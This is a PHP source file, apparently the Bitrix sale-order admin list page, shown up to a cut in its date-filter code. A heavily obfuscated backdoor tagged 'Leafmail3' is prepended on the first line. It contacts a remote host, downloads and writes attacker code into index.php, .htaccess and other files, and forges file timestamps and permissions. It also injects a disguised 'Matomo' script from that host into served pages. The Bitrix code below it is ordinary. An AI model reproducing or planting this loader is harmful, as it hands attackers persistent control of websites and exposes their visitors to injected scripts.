Your IP : 18.118.252.210
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
/** @global CMain $APPLICATION */
/** @global CUser $USER */
/** @global string $DBType */
/** @global CDatabase $DB */
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Config\Option;
use Bitrix\Sale\Internals\StatusTable;
use Bitrix\Sale;
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
Loader::includeModule('sale');
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/prolog.php");
// include functions
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/general/admin_tool.php");
$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
if($saleModulePermissions == "D")
$APPLICATION->AuthForm(Loc::getMessage("ACCESS_DENIED"));
$LOCAL_SITE_LIST_CACHE = array();
$LOCAL_PERSON_TYPE_CACHE = array();
$LOCAL_PAYED_USER_CACHE = array();
$LOCAL_STATUS_CACHE = array();
Loc::loadMessages(__FILE__);
$arUserGroups = $USER->GetUserGroupArray();
$intUserID = (int)$USER->GetID();
$isUserResponsible = false;
$arAccessibleSites = array();
$dbAccessibleSites = CSaleGroupAccessToSite::GetList(
array(),
array("GROUP_ID" => $arUserGroups),
false,
false,
array("SITE_ID")
);
while ($arAccessibleSite = $dbAccessibleSites->Fetch())
{
if(!in_array($arAccessibleSite["SITE_ID"], $arAccessibleSites))
$arAccessibleSites[] = $arAccessibleSite["SITE_ID"];
}
$bExport = (isset($_REQUEST['mode']) && $_REQUEST['mode'] == 'excel');
$sTableID = "tbl_sale_order";
$oSort = new CAdminSorting($sTableID, "ID", "desc");
$lAdmin = new CAdminSaleList($sTableID, $oSort);
$runtimeFields = array();
$arFilterFields = array(
"filter_universal",
"filter_id_from",
"filter_id_to",
"filter_account_number",
"filter_date_from",
"filter_date_to",
"filter_date_update_from",
"filter_date_update_to",
"filter_date_paid_from",
"filter_date_paid_to",
"filter_lang",
"filter_currency",
"filter_price_from",
"filter_price_to",
"filter_status",
"filter_date_status_from",
"filter_by_recommendation",
"filter_date_status_to",
"filter_payed",
"filter_canceled",
"filter_deducted",
"filter_allow_delivery",
"filter_date_allow_delivery_to",
"filter_date_allow_delivery_from",
"filter_marked",
"filter_buyer",
"filter_product_id",
"filter_product_xml_id",
"filter_affiliate_id",
"filter_discount_coupon",
"filter_person_type",
"filter_user_id",
"filter_user_login",
"filter_user_email",
"filter_group_id",
"filter_sum_paid",
"filter_pay_system",
"filter_delivery_service",
"filter_xml_id",
"filter_tracking_number",
"filter_delivery_doc_date_from",
"filter_delivery_doc_date_to",
"filter_source",
"filter_company_id",
"filter_responsible_id",
);
$arOrderProps = array();
$arOrderPropsCode = array();
$dbProps = \Bitrix\Sale\Internals\OrderPropsTable::getList(array(
'order' => array("PERSON_TYPE_ID" => "ASC", "SORT" => "ASC"),
'select' => array("ID", "NAME", "PERSON_TYPE_NAME" => "PERSON_TYPE.NAME", "LID" => "PERSON_TYPE.LID", "PERSON_TYPE_ID", "SORT", "IS_FILTERED", "TYPE", "CODE", "SETTINGS"),
));
while ($arProps = $dbProps->fetch())
{
$key = "";
$propAdded = false;
if(strval(trim($arProps["CODE"])) != '')
{
$key = $arProps["CODE"];
if(empty($arOrderPropsCode[$key]))
{
$arOrderPropsCode[$key] = $arProps;
}
$propAdded = true;
}
if (!$propAdded)
{
$key = intval($arProps["ID"]);
if (empty($arOrderProps[$key]))
{
$arOrderProps[$key] = $arProps;
}
}
if($key)
{
if($arProps["IS_FILTERED"] == "Y" && $arProps["TYPE"] != "MULTISELECT" && $arProps["TYPE"] != "FILE")
{
$arFilterFields[] = "filter_prop_".$key;
}
}
}
$lAdmin->InitFilter($arFilterFields);
$filter_lang = trim($filter_lang);
if(strlen($filter_lang) > 0)
{
if(!in_array($filter_lang, $arAccessibleSites) && $saleModulePermissions < "W")
$filter_lang = "";
}
$arFilter = array();
$arSelectFields = array();
$userCompanyList = array();
if(IntVal($filter_id_from)>0) $arFilter[">=ID"] = IntVal($filter_id_from);
if(IntVal($filter_id_to)>0) $arFilter["<=ID"] = IntVal($filter_id_to);
if(strval(trim($filter_date_from)) != '')
{
$arFilter[">=DATE_INSERT"] = trim($filter_date_from);
}
if(strval(trim($filter_date_to)) != '')
{
if($arDate = ParseDateTime($filter_date_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if(StrLen($filter_date_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filter_date_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilter["<=DATE_INSERT"] = $filter_date_to;
}
else
{
$filter_date_to = "";
}
}
if(strval(trim($filter_date_update_from)) != '')
{
$arFilter[">=DATE_UPDATE"] = trim($filter_date_update_from);
}
elseif($set_filter!="Y" && $del_filter != "Y" && !$bExport)
{
$filter_date_update_from_DAYS_TO_BACK = Option::get("sale", "order_list_date", 30);
$filter_date_update_from = GetTime(time()-86400*Option::get("sale", "order_list_date", 30));
$arFilter[">=DATE_UPDATE"] = $filter_date_update_from;
}
if(strval(trim($filter_date_update_to)) != '')
{
if($arDate = ParseDateTime($filter_date_update_to, CSite::GetDateFormat("FULL", SITE_ID)))
{
if(StrLen($filter_date_update_to) < 11)
{
$arDate["HH"] = 23;
$arDate["MI"] = 59;
$arDate["SS"] = 59;
}
$filter_date_update_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
$arFilter["<=DATE_UPDATE"] = $filter_date_update_to;
}
else
{
$filter_date_update_to = "";
}
}
if(strval(trim($filter_date_paid_from)) != '')
{
